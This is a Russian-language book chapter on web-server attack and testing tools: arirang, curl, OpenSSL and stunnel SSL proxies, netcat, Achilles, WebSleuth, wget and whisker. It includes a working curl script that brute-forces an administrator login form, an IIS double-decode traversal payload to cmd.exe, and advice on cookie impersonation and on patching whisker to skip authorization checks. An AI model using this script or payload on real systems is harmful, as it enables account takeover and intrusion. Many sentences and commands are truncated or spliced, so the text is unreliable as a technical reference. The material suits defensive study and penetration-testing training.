Отдельные правила определяются параметром -r. Ниже показано, как проверить вашу сеть на наличие червя Code Red или его потенциальных целей.
$ arirang -G -s 192.168.0.1 -e 192.168.3.255 \ > -P 20 -r /usr/local/share/arirang/codered.uxe
На первый взгляд, правила arirang могут показаться сложными для понимания, но все они следуют простой схеме. Рассмотрим несколько правил для примера.
200 OK- HEAD :/index.html.bak^Backup index.html file;
Remove backup and test files
from the web document root;
403- GET :/admin/^/admin/ directory;;
200 OK- HEAD :/include/^/include/ directory;Disable directory listings;
200 OK- GET :/msadc/..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+dir^IIS Superfluous Decode;MS01-026;
Правила разделяются на семь полей, при этом первое поле не обязательно. В таблице 8.3 описываются составные части правила для arirang.
| Поле | Описание |
|---|---|
Receive code Код получения [OOB | |
(Необязательный.) Arirang может обработать сообщение Out-Of- или (залезть) в его содержимое. Это редко используется, но включено, чтобы средство поддерживало любой тип проверки уязвимости. ALL используется для ожидания ответа с сервера. Несколько проверок вынуждают сервер зависать или не возвращать никаких данных, включая заголовки. |
Response code Код ответа |
Обычно это числовой ответ с Web-сервера. 404 означает - не найдено, а 200 означает ОК, что подтверждает существование файла. Заметьте, что arirang требует от вас представлять 200 как 200 ОК. Другие коды ответов могут быть числовыми, т.е. 403. Это не обязательно должно быть кодом ответа HTTP, но может быть строкой длиной до 50 байтов (символов), чтобы искать в ней ответ HTML. |
--> |
Разделитель между кодом ответа и методом запроса. |
HTTP request method Метод запроса HTTP |
Любой метод запроса HTTP, обозначенный как HTTP/1.0 или HTTP/1.1 RFC. GET, HEAD, и POST используются большую часть времени, но arirang поддерживает такую технику как TRACE и OPTIONS. Метод OPTIONS показывает, какие возможности поддерживает сервер. |
:<URI> |
Файл для проверки. Arirang также поддерживает строку запроса URI, т.е. login.asp? user=test>pass=test. Заставьте правило обратиться к определенному порту с помощью синтаксиса ::<port><URL>. Например, ::8080/ admin/docs/default. запускает на порте 8080. Все другие опции остаются такими же. |
^< |
Короткое описание уязвимости. |
;<information;> |
Дальнейшее объяснение уязвимости, ссылка на совет или информацию по отладке. |
Поясняющие и информационные поля позволяют вам осуществлять вывод в сокращенной или расширенной форме.
Описываемые ниже инструментальные средства - это рабочие лошадки, используемые для осуществления соединений поверх HTTP или HTTPS. Соответственно, они не производят поиск уязвимостей или
В то время как Netcat называют суперутилитой для сети, curl можно назвать суперутилитой для протоколов. Curl - это утилита командной строки, которая может поддерживать DICT, File, FTP,
Для соединения с Web-сайтом задайте в командной строке URL
$ curl https://www.victim.com
Автоматизированный скрипт, который просматривает Web-сайт или осуществляет подбор паролей, в лучшем виде демонстрирует мощь программы curl. В таблице 8.4 представлены некоторые наиболее часто употребляемые параметры программы.
| Опция | Описание |
|---|---|
-H/--header |
Устанавливает заголовок со стороны клиента. Используйте заголовок HTTP, чтобы имитировать несколько типов соединений.User-Agent: Mozilla/4.0. Имитирует конкретный броузер. Referer: http://localhost/admin. Обходит слабую авторизацию, которая проверяет страницу ссылок. Basic Auth: xxxxx. Задает имя пользователя и пароль. Host: localhost. Специфицирует виртуальные хосты |
-b/--cookie -c/--cookie-jar |
-b использует файл, который содержит cookies, чтобы послать их на сервер. Например, -b cookie.txt включает содержимое cookie.txt во все запросы HTTP. Cookies также могут быть специфицированы в командной строке в форме -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC. -c использует файл, который хранит cookies так, как они заданы сервером. Например, -c cookies.txt держит каждый cookie с сервера. Cookies важны для обхождения сессий формальной идентификации и обмана. |
-d/--data |
Предоставляет данные по запросу POST. Это включает данные формы или любые другие данные, генерированные Web-приложением. Например, чтобы задать поле формы для страницы логина, используйте -d login=arbogothpasswd=p4ssw0rd. Эта опция полезна для написания сценариев подбора пароля. Ее реальное преимущество в том, что запросы делаются с POST, что значительно сложнее обмануть с помощью средства типа Netcat. |
-G/--get |
Изменяет метод POST так, что он использует GET. Применяется только, когда вы специфицируете опцию -d. |
-u/--user -U/--proxy-user |
Задает имя пользователя и пароль, использованные для базовой идентификации или proxy. Чтобы получить доступ к сайту с базовой идентификацией, используйте -u user:password. Чтобы получить доступ к защищенному паролем proxy, используйте U user: password. Это не имеет смысла, если опция -X не задана. |
--url |
Устанавливает URL на выборку. Это не обязательный параметр, но вносит ясность, когда используется много опций командной строки. Например, -url https://www.victim .com/admin/menu.php?menu=. Curl дает быструю оптимизацию, когда множественные URL задаются в командной строке, потому что он пытается установить устойчивые соединения. Это означает, что все запросы будут производиться поверх первоначального соединения, вместо установки нового соединения для каждого запроса. |
-x/--proxy |
Задает HTTP proxy. Например, -x http://intraweb:80/. |
-K/--config |
Задает файл конфигурации, который включает последовательные опции командной строки. Например, -K www.victim.com.curl. |
Пример из жизни. Угадай пароль!
Итак, мы очертили несколько полезных опций, которые предлагает curl. Но, по-прежнему, сделать можно не слишком много. Однако сила curl заключена в его применимости к любой ситуации Web (или другому протоколу). Он упрощает написание сценариев. Perl, Python и C располагают библиотеками, которые помогают в соединениях HTTP и манипуляции URL, но требуют множества поддерживающих библиотек и больших знаний. Это не значит, что Perl не может сделать того, что может curl - curl проще. Это новое изобретение колеса, которое поднимает планку для других средств.
Следующий сценарий демонстрирует, как использовать curl в качестве настроенного средства для грубого угадывания паролей на Web-сайте. Этот Web-сайт использует форму идентификации в запросе POST. Процесс регистрации далее усложняется значением cookie, которое должно быть передано на сервер, когда пользователь регистрируется, и которое модифицируется, если пароль правильный.
#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication. 2002 M. Shema
if [ -z $1 ]; then
echo -e "\n\tUsage: $0 password file"
exit 1;
fi
PASSLIST='/bin/cat $1'
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3LV=20013HASH=17C9GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
-b $COOKIE \
-d user=$USERNAME \
-c cookies.txt \
--url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
# specify Headers on this line to work around inclusion of spaces
'$CMD \
-H 'User-Agent: Mozilla/4.0' \
-H 'Host: localhost' \
-d passwd=$PASS'
# upon a successful login, the site changes the user's cookie value,
# but we don't know what the new value is
RES='grep -v $COOKIE cookies.txt'
if [ -n '$RES' ]; then
echo -e "found $RES with $USER : $PASS\n";
exit 0;
fi
done
Мы находим словарь распространенных паролей и затем запускаем сценарий на нашей цели. Если повезет, то мы найдем пароль администратора. Если нет, то перейдем к следующему пользователю.
Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL -прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.
Реализация
Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.
$ openssl OpenSSL
Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания ( man pages ). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр - уменьшит объем информации об ошибках.
$ openssl s_client -quiet -connect www.victim.com:443 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 HEAD / HTTP/1.0 Date: Tue, 26 Feb 2002 05:44:54 GMT Server: Apache/1.3.19 (Unix) Content-Length: 2187 Connection: close Content-Type: text/html
Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации. В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.
Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.
$ echo -e "HEAD / HTTP/1.0\n\n" | \ > openssl s_client -quiet -connect www.victim.com:443
Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.
Программа inetd для Unix (и Cygwin ) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.
# /etc/inetd.conf example content ftp stream tcp nowait root /usr/libexec/ftpd ftp -US
Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.
# /etc/inetd.conf SSL proxy example content 80 stream tcp nowait root /home/istari/ssl_proxy.sh
Файл /home/istari/ssl_proxy.sh содержит две строки.
#!/bin/sh openssl s_client -quiet -connect www.victim.com:443 2 /dev/null
После установки соединения с
$ arirang -G -h localhost -p80 -r unix.uxe
Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.
Пример из жизни. Альтернатива Inetd
Inetd не единственный метод запуска службы. У него есть преимущество, т.к. он способен применять TCPWrappers, метод, позволяющий или запрещающий доступ к порту на основе IP-адреса. Не все операционные системы используют inetd, а операционная система Windows определенно не имеет данной функции.
Cygwin. Если ваши друзья по-прежнему дразнят вас, потому что вы пользуетесь какой-либо версией Windows, не мучайтесь. В среде Cygwin есть демон inetd и программа OpenSSL, которая позволяет запускать SSL proxy. Cygwin жалуется на использование 80 в качестве имени службы. Файл /etc/inetd.conf должен содержать следующее.
# /etc/inetd.conf Cygwin SSL proxy example www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh
Затем вы можете запустить inetd в командной строке. Мы обычно запускаем его с -d, отладочной опцией, чтобы все работало корректно.
$ /usr/sbin/inetd.exe -d /etc/inetd.conf
Теперь proxy ожидает на порте 80 и направляет соединения к цели, обозначенной в сценарии ssl_proxy.sh.
Инсталляция inetd в качестве родной для Windows службы требует больше манипуляций. Есть два метода создания этой службы. Предпосылкой для каждого является переменная среды Windows PATH, содержащая C:\cygwin\bin или любое место, где находится директория cygwin\bin. Inetd может установить себя как службу.
$ /usr/sbin/inetd.exe -install-as-service /etc/inetd.conf
Чтобы удалить его, используйте опцию -remove-as-service.
Встроенные утилиты Cygwin также инсталлируют и запускают службу inetd.
cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a -d
-e CYGWIN=ntsec
cygrunsrv -S inetd
Опция -R удаляет службу inetd.
Xinetd. Xinetd добавляет еще немного к демону inetd. Он улучшает регистрацию, управление соединениями и администрирование. В системах, которые поддерживают xinetd, дефиниции служб обычно находятся в директории /etc/xinetd.d. Создайте службу SSL proxy, используя синтаксис xinetd.
#default: off
#description: OpenSSL s_client proxy to www.victim.com
service 80
{
socket_type = stream
wait = no
protocol = tcp
user = root
server = /root/ssl_proxy.sh
only_from = 127.0.0.1
disable = no
}
Как всегда, опасайтесь запускать службы с root-привилегиями и службы, к которым должны иметь доступ только вы.
Netcat (sort of). Для одноразовых соединений, таких как запуск компилированного взлома, который обычно работает на порте 80, Netcat экономит день. Возможно, вы не сможете запустить сканирование whisker корректно, но одноразовое соединение будет успешно достигнуто. У Whisker есть преимущество работы с системами Unix и Windows, обеспеченное, если установлен комплект OpenSSL. Netcat pseudo-proxy подходит для одной команды:
$ nc -w -L -p 80 -e "openssl s_client -quiet \ -connect www.victim.com:443"
Опция -L ("слушай внимательнее") дает инструкцию Netcat продолжать прослушивание, даже если клиент закрыл соединение. Опция -e содержит команду s_client для соединения с целью. Затем присоединяйтесь к порту 80 ожидающего хоста, чтобы получить доступ к SSL-серверу вашей цели (например, www.victim.com ).
Для этого вам придется использовать оригинальную версию Netcat. Например, на -L заменена на -k, а опция -e не имеет смысла, поскольку Unix поддерживает конвейеры (|).
Команда
$ nc -w -k -l 80 | openssl s_client -quiet \ -connect www.victim.com:443
Конечно, не имеет смысла добавлять дополнительный шаг использования Netcat. У вас должно получиться провести отчет о взломе непосредственно в команду s_client, пропустив шаг. Затем снова могут быть сценарии, в которых строгий сетевой контроль или спутанная среда операционных систем действительно делает это полезным.
OpenSSL - великолепное средство для осуществления одностороннего SSL-взаимодействия. К сожалению, вы можете работать в ситуации, когда клиент посылает HTTPS-соединение и не может перейти к HTTP. В этом случае, вам необходимо средство, которое может расшифровывать SSL или находиться между клиентом и сервером и отслеживать трафик. Stunnel обеспечивает эти возможности.
Вы можете также использовать Stunnel, чтобы обернуть SSL поверх любого сетевого сервиса. Например, вы можете настроить stunnel для управления соединениями (stunnel для управления клиентом).
SSL-взаимодействие основывается на сертификатах. Первое, что вам нужно, это правильный Stunnel поставляется с файлом по умолчанию, который называется stunnel.openssl.
$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \ > -days 365 ...follow prompts... $ openssl dhparam 512 >> custom.pem
Теперь файл custom.Stunnel ищет по умолчанию файл stunnel.-p.
Замечания о компиляции под Cygwin. Вам может понадобиться отредактировать файл stunnel.c для компиляции stunnel под Cygwin. Закомментируйте следующие строки, которые располагаются в районе 391 строки.
/* if(setgroups(1, gr_list)) {
sockerror("setgroups");
exit(1);
} */
Смысл в том, что вы не сможете использовать параметр -g для определения альтернативной группы привилегий, с которыми выполняется stunnel, но вам не понравится ситуация, в которой это могло бы понадобиться.
Обезьяна в центре поля. Как быть, если вам необходимо просматривать данные, передаваемые поверх SSL-соединения? Вам может понадобиться проверять данные, передаваемые между клиентом, основанным на Web-приложении, и сервером, но клиент передает HTTPS, и сервер принимает только HTTPS. В таком случае, вам понадобится заморозить stunnel между клиентом и сервером, переведя соединение в HTTP, чтобы иметь возможность его читать, а затем вернуть трафик обратно в HTTPS, чтобы сервер мог его получить. Для этого понадобится две команды stunnel.
Запустите stunnel в обычном режиме демона ( -d ). В таком режиме stunnel принимает SSL-трафик и выдает простой текст. Параметр -f заставляет stunnel оставаться в диалоговом режиме. Обычно это используется для просмотра информации о соединении и чтобы убедиться, что программа работает. Stunnel - не программа с конечной точкой. Другими словами, вы должны задать порт, который будет прослушиваться ( -d <port> ), а также хост и порт, на которые будет перенаправляться трафик ( -r <host:port> ). Ниже приведена команда, по которой прослушивается SSL-трафик по 443 порту и перенаправляется в виде не SSL-трафика на порт 80. Если вы всего лишь хотите изображать обезьяну в центре поля, параметр -r адресует к другой команде stunnel.
$ stunnel -p custom.pem -f -d 443 -r host:80 2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service name 2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Другая команда stunnel точно такая же, но использует клиентский режим ( -c ) для получения трафика в виде простого текста и вывода трафика, зашифрованного с помощью SSL. В данном примере, команда прослушивает порт 80 и затем посылает трафик на конечный порт 443.
$ stunnel -p custom.pem -f -d 80 -r www.victim.com:443 -c 2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service name 2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Если мы запустим эти команды на разных компьютерах (или между компьютером и сессией VMware ), то сможем прослеживать трафик, который переадресовывается через 80 порт.
SSL for a Service. Stunnel обеспечивает ту же функциональность, что и inetd, с дополнительным SSL-шифрованием. Stunnel поддерживает TCP-оболочку, что означает, что он проверяет файлы /etc/hosts.allow и /etc/hosts.deny сразу после запуска. Это дает возможность применить шифрование для любой службы. Например, IMAP - протокол для удаленного доступа к почтовому ящику. Недостаток IMAP состоит в том, что может быть перехвачен пароль.
Примерно так выглядит конфигурирование службы IMAP, когда она определяется с помощью файла /etc/ inetd.conf.
imap stream tcp nowait root /usr/sbin/tcpd imapd
Имя службы imap (TCP порт 143); демон TCPWrappers выполняет демон IMAP.
Теперь посмотрим аналогичную конфигурацию под stunnel. Следующая команда может быть выполнена из командной строки, а не как часть файла /etc/inetd.conf.
# stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe -N imapd 2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as tcpwrapper service name 2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.6c 21 dec 2001 2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1 (unlimited) - 2000 clients allowed
Вы уже знакомы с параметром -d, но здесь мы вводим параметры -l и -N. Параметр -l запускает специальную программу для входящего соединения. В данном случае, мы запускаем демона imapd. Параметр -N применяется специально для Cygwin-систем, чтобы подставить имя службы для проверки TCPWrapper. Имя службы можно найти в файле /etc/services, и оно должно присутствовать в файлах /etc/hosts.allow и /etc/hosts.deny.
До сих пор мы знакомились с программами, которые исследовали Web-сервер. Делая это, мы пропустили прорехи, которые могут иметься в Web-приложениях. Этот класс уязвимостей возникает из-за программирования без учета безопасности и ошибок в настройках взаимодействия между Web-серверами и базами данных. Мы не можем разъяснить природу нарушений безопасности Web-приложений, методологию и приемы поиска уязвимостей в рамках отдельной лекции. Можно лишь показать средства, необходимые для проверки Web-приложений. Немногие из этих программ распространены среди сообщества специалистов по безопасности, они скорее заслуживают быть частью средств отладки Web-приложений.
В соответствии с названием, Achilles помогает протестировать Web-приложение, работая в режиме прокси с кнопкой "пауза". Обычный прокси располагается между Web-броузером и Web-сервером, незаметно перенаправляя запросы и ответы между ними. Achilles работает точно так же, но он добавляет возможность, которая позволяет вам модифицировать содержимое налету. Achilles позволяет манипулировать значениями cookie, запросами POST, скрытыми полями и всеми другими аспектами HTTP-транзакции - и все это поверх SSL.
Поскольку это работа прокси, показаны основные моменты конфигурации для запуска Achilles в режиме прокси. Щелкнув на кнопке "пуск" (треугольник), можно запустить прокси, а щелкнув на кнопке "стоп" (квадратик) остановить его - в точности, как при управлении звукозаписывающим устройством.
(рис 8.7) Основные настройки прокси для AchillesХорошей мыслью будет оставить задействованным параметр Ignore .jpg/.gif. Изменение файлов изображений редко используется для обхода системы безопасности Web-приложения, а число запросов от обычной Web-страницы раздражающе велико.
Затем настройте свой Web-броузер для работы через IP-адрес прокси (если это тот же компьютер 127.0.0.1) и соответствующий порт (5000 по умолчанию), который прослушивает Achilles. Обычно для этого Achilles просто запускается на вашей локальной машине. Любой Web-броузер, который поддерживает HTTP-прокси, от Lynx до Galeon, могут использовать Achilles. Ограничения для Windows-платформы состоит в том, что Achilles поставляется в виде исполняемого модуля Win32.
В режиме перехвата вы можете просматривать Web-сайт или несколько Web-сайтов, ничего не замечая. Параметр Log To File позволяет сохранять результаты сессии в файл. Это подходит для исследования Web-приложения. Журнал содержит каждую ссылку, которую вы посетили, включая вспомогательные файлы, такие как JavaScript, (*.js) и другие
В режиме активного перехвата вы можете видеть запросы, порождаемые броузером (GET- и POST- запросами и значениями, передаваемыми с переменными cookie. Эта возможность используется для обхода схем аутентификации и авторизации, и чтобы выдавать себя за другого пользователя. Текстовое окно Achilles представляет собой простой текстовый редактор.
Использование Achilles в таком виде, возможно, выглядит несколько абстрактно. Эта программа относится к категории, о которой говорят "лучше один раз увидеть, чем сто раз услышать". Запустите Achilles, измените настройки прокси для своего броузера, убедитесь в том, что вы выбрали режим
Проблемы перехвата. Achilles перехватывает только текстовые данные. Сайт, который использует компоненты ActiveX, также известные как COM-объекты (Component Object Model) или CAB-файлы (Achilles игнорирует. Achilles продолжает поддерживать корректное HTTP-соединение, но вы не можете манипулировать данными. Другие двоичные объекты: загружаемые ZIP- или PDF-файлы, также будут транслированы, но не будут показаны в текстовом окне.
Web-сайты, которые используют SSL, зачастую порождают ошибки при использовании Achilles. Проблемный сайт с 20 объектами на странице (такими как изображения, таблицы стилей, файлы JavaScript и HTML) могут порождать 20 ошибок вида "Client failed SSL connection". Это не слишком большая беда, но это означает, что вам придется 20 раз нажать OK, чтобы закрыть окно сообщения об ошибке.
Некоторые сайты приводят к неожиданному "падению" Achilles. Не слишком хорошее правило - просматривать сайты, чтобы определить, какой из них приведет к нарушениям в работе программы. Можем рекомендовать зайти на сайт, использующий прокси, а затем запустить прокси и изменить установки броузера, как только вы дойдете до той части приложения, которую следует проверять. К сожалению, этот прием не срабатывает по отношению к сайтам, которые используют строгий контроль за сессией. Achilles поддерживает HTTP (базовую аутентификацию), а Web-приложения, которые используют (поддерживаемую IIS), не поддерживают работу через Achilles.
WebSleuth помещает функциональность прокси непосредственно в броузер. Программа представляет собой набор процедур на Visual Basic, работающих вокруг Internet Explorer. Очевидно, что это привязывает вас к платформе WIN32, но утилита стоит того. Она позволяет провести пошаговый просмотр сайта, одновременно проверяя переменные cookies и HTML-код, делая по пути некоторые заметки.
На рис 8.8 представлен внешний вид интерфейса WebSleuth, на котором доступно несколько параметров для настройки. Рельефные кнопки Go, Back, Stop, Fwrd и Edit Source вызываются щелчком левой кнопкой мыши. Правая кнопка мыши отвечает за появление меню для каждой из плоских кнопок Properties, Toolbox, Plugins и Favorites.
(рис 8.8) Основные настройки прокси для AchillesУ кнопки меню Toolbox те же самые функции. Особой "фишкой" является функция HTML Transformations. Она удаляет скрипты, которые отключают многие программы проверки ввода, отображает скрытые поля, которые контролируют переменные сессии, сервера и клиента. Функция Generate Report создает великолепный список текущих переменных cookie, ссылок, строк запросов, форм, ссылок на скрипты, комментариев и META-тегов.
Кнопка меню Properties отображает информацию о текущей странице. Обычно эта информация используется для просмотра установленных переменных cookie, инспектирования строк запросов или ревизии доступных на странице ссылок.
Финальные замечания. Функции Analyze, размещенные на закладке Options:, не работают поверх SSL. Эти функции открывают окно, которое содержит HTTP-запросы и их аргументы. В этот момент вы можете изменить данные для изменения запроса POST. К сожалению, это не работает!
Последняя программа, которую мы рассмотрим, похожа на предыдущие. Wget - утилита командной строки, которая в основном копирует содержимое Web-сайтов. Она запускается для стартовой страницы и затем, в соответствии со ссылками, исследует каждую страницу Web-сайта. Когда кто-либо проводит
С точки зрения администраторов, у Wget может быть и другое применение. Например, создание зеркал для сайтов с высоким трафиком. Администраторы зеркал многих Web-сайтов (таких как www.samba.org и www.kernel.org) используют wget или аналогичные утилиты для воспроизведения содержимого мастер-сервера на альтернативных серверах. Они делают это с целью сокращения загрузки и разнесения Web-сайтов по разным географическим регионам.
Поскольку основной функцией wget является загрузка содержимого Web-сайта, то использовать программу просто. Для рекурсивного просмотра сайта используйте параметр -r.
$ wget -r www.victim.com ...(continues for entire site)...
Параметр -r или - указывает wget на необходимость просматривать каждую ссылку на странице. Ниже мы создаем директорию www.victim.com и размещаем в этой директории все HTML-файлы и директории, которые wget обнаружит на этом сайте. Основное преимущество wget в том, что он просматривает все возможные ссылки. Таким образом, программа загружает вывод всех аргументов, которые приложение пересылает на страницу. Например, файл viewer.asp может быть загружен четырежды.
Символ ? в реальном URL. ID - первый аргумент (параметр), передаваемый в файл viewer.asp. Некоторые сайты могут потребовать более сложных возможностей, таких как поддержка прокси и HTTP Basic Authentication. Сайты, защищенные с помощью Basic Authentication, можно просматривать следующим способом.
[root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \ > https://www.victim.com/secure/ ...continues for entire site...
Сайты, которые базируются на использовании cookies для поддержки сессий или аутентификации, также можно просматривать с использованием wget. Создайте cookie -файл, который содержит набор достоверных переменных о пользовательской сессии. Для этого необходимо иметь возможность получить доступ к сайту, чтобы собрать значения переменных. Затем используйте параметр -load-cookies, чтобы указать wget на необходимость представиться пользователем, информация о котором хранится в переменных cookie.
$ wget --load-cookies=cookies.txt \ > -r https://www.victim.com/secure/menu.asp
Wget может поддерживать сессии и сохранять значения cookie-переменных с помощью соответственно названного параметра -cookies. Это параметр логического типа, и вы можете либо выключить его (по умолчанию) или включить.
$ wget --load-cookies=cookies.txt -cookies=on \ > -r https://www.victim.com/secure/menu.asp
Параметры --http-user и --http-passwd позволяют wget получить доступ к Web-приложениям, которые применяют HTTP Basic Authentication. Установите значения в командной строке и следите за работой wget.
$ wget --http-user=guest --http-passwd=no1knows \ > -r https://www.victim.com/maillist/index.html
Систему безопасности Web-сервера можно разделить на две основных категории: тестирование сервера на предмет общей уязвимости и тестирование web-приложения. Web-сервер должен быть сконфигурирован в соответствии с этим списком до того, как он будет открыт для использования через интернет.
Конечно, этот короткий список не может охватить особенности конфигурации связки Apache/PHP или детали каждой из рекомендованных настроек Internet Information Server (IIS), но он может послужить основой для создания жесткой политики компоновки Web-сервера. Для проверки стратегии компоновки следует также использовать сканер уязвимости.
У Web-серверов - Apache, iPlanet и IIS - много версий и добавлений для обеспечения безопасности. Обычно у сканера уязвимости есть сканирующий аппарат и каталог. Каталог содержит список общих файлов, файлов с описанием известных уязвимостей и наиболее распространенных способов взлома набора серверов. Например, сканер уязвимости ищет резервные файлы (переименованные из default.asp в default.asp.
Whisker - не самый древний из сканеров уязвимости CGI-интерфейса ( ). Тем не менее, эта программа была первым средством для совместного использования приемов проверки общей уязвимости, интеллектуального сканирования, которое реагирует на ответные HTTP-коды, и уклонения от систем обнаружения вторжений ( IDS ). Преимущества этой программы в том, что она написана в виде простых (правда, не всегда понятных) Perl-скриптов. При необходимости это позволяет отредактировать программу в простом текстовом редакторе для изменения имен пользователей, паролей и уязвимых
В списке уязвимостей программы whisker, возможно, что-то устарело, но он также включает проверки для директорий, которые никогда не исчезнут. Проверки /backup/ или /log/ директорий и текстовых файлов sam.txt никогда не устареют. Чтобы запустить whisker для одного хоста или IP-адреса, воспользуйтесь параметром -h. Параметр -H (обратите внимание на регистр) дает возможность задать файл, который содержит список IP-адресов или имен хостов. Также неплохая идея всегда использовать параметр -w для записи результатов каждой проверки, выполненной сканером. Параметр -W выводит все в HTML-формате. Это может выглядеть как ненужные бантики, но в то же время удобно, и демонстрация возможностей заставит притихнуть противников. Базовый вид командной строки whisker выглядит примерно так.
$ whisker.pl -h 192.168.42.27 -w - whisker / v1.4.0+SSL / rain forest puppy / www.wiretrip.net - -( Bonus: Parallel support ) - Loaded script database of 2045 lines = - = - = - = - = - = = Host: 192.168.42.27 - Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574: LM=1014183574:S=iaEPbCBRdvA = Server: IIS/5.0 + 200 OK: GET /robots.txt
Мы пропустили параметр -W, чтобы сделать вывод лучше читаемым на бумаге. После запуска whisker начинает выводить информацию на экран ( stdout в Unix-терминах). Не потеряйте результаты сканирования; вы можете сохранить их в файл. Параметр командной строки -l с именем файла после него, но мы редко это используем. Вместо этого воспользуйтесь преимуществами командной строки Unix.
$ whisker.pl -h 192.168.42.27 -w -W | tee whisker80_192.168.42.27.html.raw
-f.Понятные имена файлов позволят быстро просмотреть директории и визуально определить положение специфических файлов. Число 80 означает номер сканируемого порта - в данном случае, это значение по умолчанию. Другой номер порта может быть задан с помощью параметра -p.
Перед тем как начать изменять командную строку для проверки нестандартных Web-сайтов, сосредоточимся на анализе вывода для поиска уязвимых мест. Ниже мы добавили строку .html.raw к нашему выходному файлу, поскольку файл содержит все ответы Web-сервера, включая каждое сообщение "404 Not Found", которое нам не требуется. Ниже приведен пример удаления этих строк.
$ grep -v 404 whisker80_server.html.raw whisker80_server.html
Другими кандидатами на удаление могут быть строки, содержащие числа 400 (bad request), 401 (whisker. 403 ошибка обозначает файлы или директории, к которым нет доступа, поскольку для доступа к ним требуются другие полномочия. Итак, для удаления только 403 и 404 ошибок воспользуемся следующей командой.
$ grep -v 40\[34\] whisker80_server.html.raw whisker80_server.html
Если вы разбираетесь в регулярных выражениях, то можете понять, как в соответствии со следующей командой удаляются все предыдущие четырехсотые коды ошибок.
$ grep -v 40\[0134\] whisker80_server.html.raw whisker80_server.html
Помните, что если даже сканером анализируется только возврат HTTP-кода 200 для любого уязвимого файла, любая информация может быть полезна. Если запрос к директории /.old/ возвращает
Другой фокус заставляет whisker продолжать сканирование сайта, даже если стартовая страница требует аутентификации. Иногда администратор может применить управление доступом к директории верхнего уровня, например /admin/ - но может забыть о доступе к директориям или файлам более низкого уровня, таким как /admin/Docs/default.. Таким образом, можно использовать силовой прием для изменения строки в скрипте whisker.pl. Исходная строка и ее новый вид представлены ниже.
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...\n");
